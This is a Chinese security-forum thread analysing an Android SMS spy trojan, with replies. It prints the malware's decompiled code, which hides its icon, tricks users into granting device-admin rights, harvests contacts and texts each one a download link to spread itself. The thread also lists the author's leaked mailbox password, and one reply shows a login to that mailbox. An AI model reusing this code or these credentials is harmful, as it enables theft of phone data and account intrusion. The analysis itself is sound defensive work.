查看: 9088|回复: 54
收起左侧

[讨论] 简单分析一个安卓病毒

  [复制链接]
慕若曦
发表于 2016-12-15 00:48:35 | 显示全部楼层 |阅读模式
本帖最后由 慕若曦 于 2017-1-8 00:03 编辑

声明:楼主非专业人士,对安卓开发与逆向也没接触过,有写错的地方望指出,喷子请自重。
环境配置部分窝直接略过了,需要的去窝博客瞅瞅:http://www.muruoxi.pw/560.html

第一步:解包分析
用APKIDE打开样本,成功解包后会在左侧窗口得到目录树,若失败请检查你的JDK是否正确关联,杀软是否关闭

20161214200633.png
如上图,此中可以利用的信息为:
  • 可以看到有个AV画质的图片,这是软件安装后会在手机桌面生成的图
  • 包名为:com.fengfeifei,一般情况下包名都和作者的习惯有关系,感觉这像个名字?
展开目录树,查看AndroidManifest.xml文件,复制粘贴如下:
[XML] 纯文本查看 / 双击代码区域 Ctrl+A快速复制
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installLocation="internalOnly" package="com.fengfeifei" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <application android:allowBackup="true" android:icon="@drawable/app_logo" android:label="@string/app_name" android:name="com.phone.stop.db.PhoneApplication" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen">
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone2.stop.activity.MainActivity" android:theme="@style/ClearTheme">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone2.stop.activity.DeleteActivity">
            <intent-filter>
                <action android:name="android.intent.action.DELETE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="package"/>
            </intent-filter>
        </activity>
        <activity android:label="@string/app_name" android:name="com.phone2.stop.activity.DefaultSmsActivity">
            <intent-filter>
                <action android:name="android.intent.action.SEND"/>
                <action android:name="android.intent.action.SENDTO"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </activity>
        <service android:name="com.phone.stop6.service.SecondService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:process=":thee_second2_service3">
            <intent-filter>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="sms"/>
                <data android:scheme="smsto"/>
                <data android:scheme="mms"/>
                <data android:scheme="mmsto"/>
            </intent-filter>
        </service>
        <service android:enabled="true" android:exported="true" android:name="com.phone.stop6.service.BootService"/>
        <service android:name="com.phone.stop6.service.SmsService" android:process=":thee_second2_service3"/>
        <receiver android:name="com.phone.stop.receiver.BootReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH">
            <intent-filter>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                <data android:mimeType="application/vnd.wap.mms-message"/>
            </intent-filter>
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.PACKAGE_RESTARTED"/>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
                <action android:name="android.intent.action.PACKAGE_ADDED"/>
                <action android:name="android.intent.action.PACKAGE_REPLACED"/>
                <action android:name="android.intent.action.PACKAGE_INSTALL"/>
                <action android:name="android.intent.action.ACTION_PACKAGE_CHANGED"/>
                <action android:name="android.intent.action.SIG_STR"/>
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
                <action android:name="android.intent.action.BATTERY_CHANGED"/>
                <action android:name="android.intent.action.PHONE_STATE"/>
                <action android:name="android.intent.action.BATTERY_LOW"/>
                <action android:name="android.intent.action.BATTERY_OKAY"/>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.SMSReceiver" android:permission="android.permission.BROADCAST_SMS">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.MyDeviceAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/devicepolicymanager_permission"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>


可以看出这个软件调用了很多的权限:
[XML] 纯文本查看 / 双击代码区域 Ctrl+A快速复制
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>


涉及到的权限如下:
  • 允许程序监控将收到WAP PUSH信息
  • 允许程序开机自动运行
  • 允许程序修改全局音频设置
  • 允许程序写入外部存储,如SD卡上写文件
  • 允许程序唤醒机器
  • 允许程序访问联系人通讯录信息
  • 允许程序访问网络连接,可能产生GPRS流量
  • 允许程序访问电话状态
  • 允许程序读取短信内容
  • 允许程序读取或写入系统设置
  • 允许程序获取任务信息
  • 允许程序写短信
  • 允许程序发送短信
  • 允许程序振动
  • 允许程序接收短信
  • 允许程序获取网络信息状态,如当前的网络连接是否有效
  • 允许程序获取当前WiFi接入的状态以及WLAN热点的信息
看到这里剩下的就不用往下看了,一个204K的垃圾软件申请这么多权限,不多说,你懂得。



第二步:安装测试

在上一步我们大致了解了它申请的权限,接着需要搭配虚拟机来进行测试
安装后管家报毒了
20161214213019.png
和我们第一步中看到的结果相符,管家的风险提示更能让我们对这个软件的运行有一个猜测。那么顺着这个思路去运行这个软件:
运行后发现有个权限申请,还有个提示框……
20161214213329.png

老司机有没有看出来,这个框出现的时机不对?
根据经验来说,安卓不会有这样的提示吧……黄鼠狼给鸡拜年,不安好心。
那么以此为突破点,搜索Unicode码试试
wp-content-uploads-2016-12-20161214213647.png
宝贝们想到了什么?某张图上的文字也是这个流氓软件里伪造的23333
选择激活后就发现这个软件打不开了,没关系,将此页的源码转为java看看
[Shell] 纯文本查看 / 双击代码区域 Ctrl+A快速复制
package com.phone2.stop.activity;

import android.os.Handler;
import android.os.Message;
import android.widget.Toast;
import com.phone.stop.c.f;

class b
  extends Handler
{
  b(MainActivity paramMainActivity) {}
  
  public void handleMessage(Message paramMessage)
  {
    switch (paramMessage.what)
    {
    default: 
      return;
    case 0: 
      f.c(this.a);
      Toast.makeText(this.a, "安全检测正常,请放心使用", 1).show();
      this.a.finish();
      return;
    }
    f.b(this.a);
    Toast.makeText(this.a, "安全控件,请允许激活", 1).show();
  }
}

这样看起来的话就涉及到他定义的各种乱七八糟的类了,跟进com.phone2.stop.activity.MainActivity可以看到相关内容
[Shell] 纯文本查看 / 双击代码区域 Ctrl+A快速复制
package com.phone2.stop.activity;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.Bundle;
import android.os.Handler;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Log;
import com.phone.stop.c.d;
import com.phone.stop.c.h;
import com.phone.stop.db.a;
import com.phone.stop.e.e;
import com.phone.stop.receiver.MyDeviceAdminReceiver;
import com.phone.stop6.service.BootService;
import java.util.List;

public class MainActivity
  extends Activity
{
  public static long a = 0L;
  Handler b = new b(this);
  
  private void b()
  {
    if (!a(this, "com.phone.stop6.service.BootService")) {
      startService(new Intent(this, BootService.class));
    }
  }
  
  public void a()
  {
    try
    {
      Object localObject = (DevicePolicyManager)getSystemService("device_policy");
      ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
      if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
      {
        localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
        ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限获取保护");
        startActivityForResult((Intent)localObject, 0);
        this.b.sendEmptyMessageDelayed(1, 2500L);
      }
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }
  
  public boolean a(Context paramContext, String paramString)
  {
    paramContext = ((ActivityManager)paramContext.getSystemService("activity")).getRunningServices(500);
    int j = paramContext.size();
    int i = 0;
    for (;;)
    {
      if (i >= j) {
        return false;
      }
      if (((ActivityManager.RunningServiceInfo)paramContext.get(i)).service.getClassName().equals(paramString)) {
        return true;
      }
      i += 1;
    }
  }
  
  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    if (paramInt1 == 0)
    {
      if (paramInt2 != -1) {
        break label47;
      }
      a.a(this).a(true);
      com.phone.stop.e.f.a("激活成功", this);
    }
    for (;;)
    {
      b();
      this.b.sendEmptyMessageDelayed(0, 1000L);
      return;
      label47:
      com.phone.stop.e.f.a("激活失败", this);
    }
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    readContacts();
    setContentView(2130903041);
    h.a();
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    h.a(this);
    h.b(this);
    h.c(this);
    h.d(this);
    h.e(this);
    if (!a.a(this).r())
    {
      paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();
      com.phone.stop.e.f.a("" + paramBundle + "\n" + e.a(), this);
      a.a(this).h(true);
    }
    com.phone.stop.c.f.b(this);
    if (a.a(this).g()) {
      d.a(this);
    }
    a();
  }
  
  public void readContacts()
  {
    ContentResolver localContentResolver = getContentResolver();
    Cursor localCursor = localContentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    if (!localCursor.moveToNext())
    {
      localCursor.close();
      return;
    }
    String str1 = localCursor.getString(localCursor.getColumnIndex("display_name"));
    Object localObject = localCursor.getString(localCursor.getColumnIndex("_id"));
    localObject = localContentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject, null, null);
    for (;;)
    {
      if (!((Cursor)localObject).moveToNext())
      {
        ((Cursor)localObject).close();
        break;
      }
      String str2 = ((Cursor)localObject).getString(((Cursor)localObject).getColumnIndex("data1"));
      if (str2.startsWith("1"))
      {
        Log.d("number:", str2);
        SmsManager.getDefault().sendTextMessage(str2, null, str1 + "这个 录 相 你瞅 下 iyouet.cn/zxcvd ", null, null);
      }
    }
  }
}

此处大概能看来在成功对自己进行“保护”后,他就开始从通讯录里找人发短信了
wp-content-uploads-2016-12-20161214220302.png
如图,标箭头的地方应该是读取联系人的信息,最后的API直接将联系人+内容给发送了出去:
SmsManager.getDefault().sendTextMessage(str2, null, str1 + "这个 录 相 你瞅 下 iyouet.cn/zxcvd ", null, null);

后来有受害者发的一张截图,证明了我们的分析
20161214223034.png
打开这个网站看看:
直接就给下载了个软件,等过会儿再分析他。
20161214225339.png
然后将所有的class都打开瞅瞅,结果就发现了彩蛋。smtp,再傻也能看来这是在发邮件丫(捂嘴笑)
在源码里找了找,发现了相关信息:
  • smtp服务器地址:smtp.mxhichina.com
  • smtp端口:25
  • 邮箱账号:asdwf564848@163.com
  • 邮箱密码:sdafdse33
  • TEL:15521818093
此处尚有疑惑,为何网易家的邮箱用阿里家的smtp服务器?有知道者望解答
同样也发现了一些没素养的表现:
1.png
同样是半吊子码农,为啥你素质和窝就有了差距捏?(手动滑稽)
@SUNKESS 指出:
putString(key,value)是根据key保存相关value到配置文件中,
getString(key,default)是获取指定key的信息的,若没有信息就是默认值。
接着又看到了对于某些关键字的替换,猜测此应该是当被害者收到带有这些关键字的短信后,替换文本内容然后再发到作者的手机/邮箱里
2.png
第三步:相关分析
样本基本上就能分析出这些,然后再看看那个网站里下载到的样本,除了修改了一个手机号码外貌似没有什么大变动
3.png
那个网址则是从中介那里收购过来的,也没有什么参考价值:
4.png
大概就这样吧,说不定啥时候还能想到啥思路玩玩这个
总结:
此病毒首先诱导人进行安装,通过伪造的界面误导用户从而提高自身的权限;
然后遍历照片、通讯录等重要档案,并将这些档案发送到作者的邮箱和手机里造成信息泄露;
榨取完本机的信息后,通过短信的形式传播自身来伤害更多用户
参考文章:

样本打包:
病毒样本.rar (402.39 KB, 下载次数: 811)

评分

参与人数 9经验 +100 原创 +1 魅力 +1 人气 +8 收起 理由
屁颠屁颠 + 100 + 1 16年年度奖励
电脑发烧友 + 1 路过
ELOHIM + 1 版区有你更精彩: )
猪头无双 + 1 版区有你更霸气: )
C-FBI-QM + 1 版区有你最性感: )

查看全部评分

至尊舞帝
发表于 2017-2-8 12:13:24 | 显示全部楼层
慕若曦 发表于 2017-2-8 10:35
ouo我始终没登录上去……这是个啥邮箱,账号密码是啥QAQ

看看我登录好的界面
1486527089(1).png
水是冰的眼泪
发表于 2016-12-16 12:19:27 | 显示全部楼层
赞一个
绯色鎏金
发表于 2016-12-16 20:54:11 | 显示全部楼层
版区有你更精彩,欢迎继续发布更多优秀内容

评分

参与人数 2人气 +2 收起 理由
轩夏 + 1 感谢支持,欢迎常来: )
root1605 + 1 版区有你更精彩: )

查看全部评分

westbyte
发表于 2016-12-16 22:07:22 | 显示全部楼层
所以啊从未知来源安装应用要取消勾选。
慕若曦
 楼主| 发表于 2016-12-17 00:17:12 | 显示全部楼层
绯色鎏金 发表于 2016-12-16 20:54
版区有你更精彩,欢迎继续发布更多优秀内容

向大神们致敬

评分

参与人数 1人气 +1 收起 理由
root1605 + 1 感谢支持,欢迎常来: )

查看全部评分

慕若曦
 楼主| 发表于 2016-12-17 00:18:39 | 显示全部楼层
westbyte 发表于 2016-12-16 22:07
所以啊从未知来源安装应用要取消勾选。

正解,另外最好是装LBE等手机防护软件,如果有恶意行为一般都会拦截
猪头无双
发表于 2016-12-17 10:45:45 | 显示全部楼层
病毒样本\new.apk > ZIP > classes.dex - Android/Spy.SmsSpy.BJ 特洛伊木马 的变种 - 已删除
病毒样本\old.apk > ZIP > classes.dex - Android/Spy.SmsSpy.BJ 特洛伊木马 的变种 - 已删除

看来ESET值得安卓手机使用

评分

参与人数 1人气 +1 收起 理由
root1605 + 1 抱歉,重复发帖

查看全部评分

cyclonebaby
发表于 2016-12-17 13:40:57 | 显示全部楼层
这个不简单了好吗,感谢科普,感谢分享,收藏学习一下
564388806
发表于 2016-12-18 10:20:15 | 显示全部楼层
感谢科普,
这是极好的
狐狸糊涂
发表于 2016-12-18 16:14:48 | 显示全部楼层
MX5杀
S61218-161008.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛|优惠券| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.3( 苏ICP备07004770号 ) GMT+8, 2017-4-27 03:44 , Processed in 0.113193 second(s), 9 queries , MemCache On.

快速回复 返回顶部 返回列表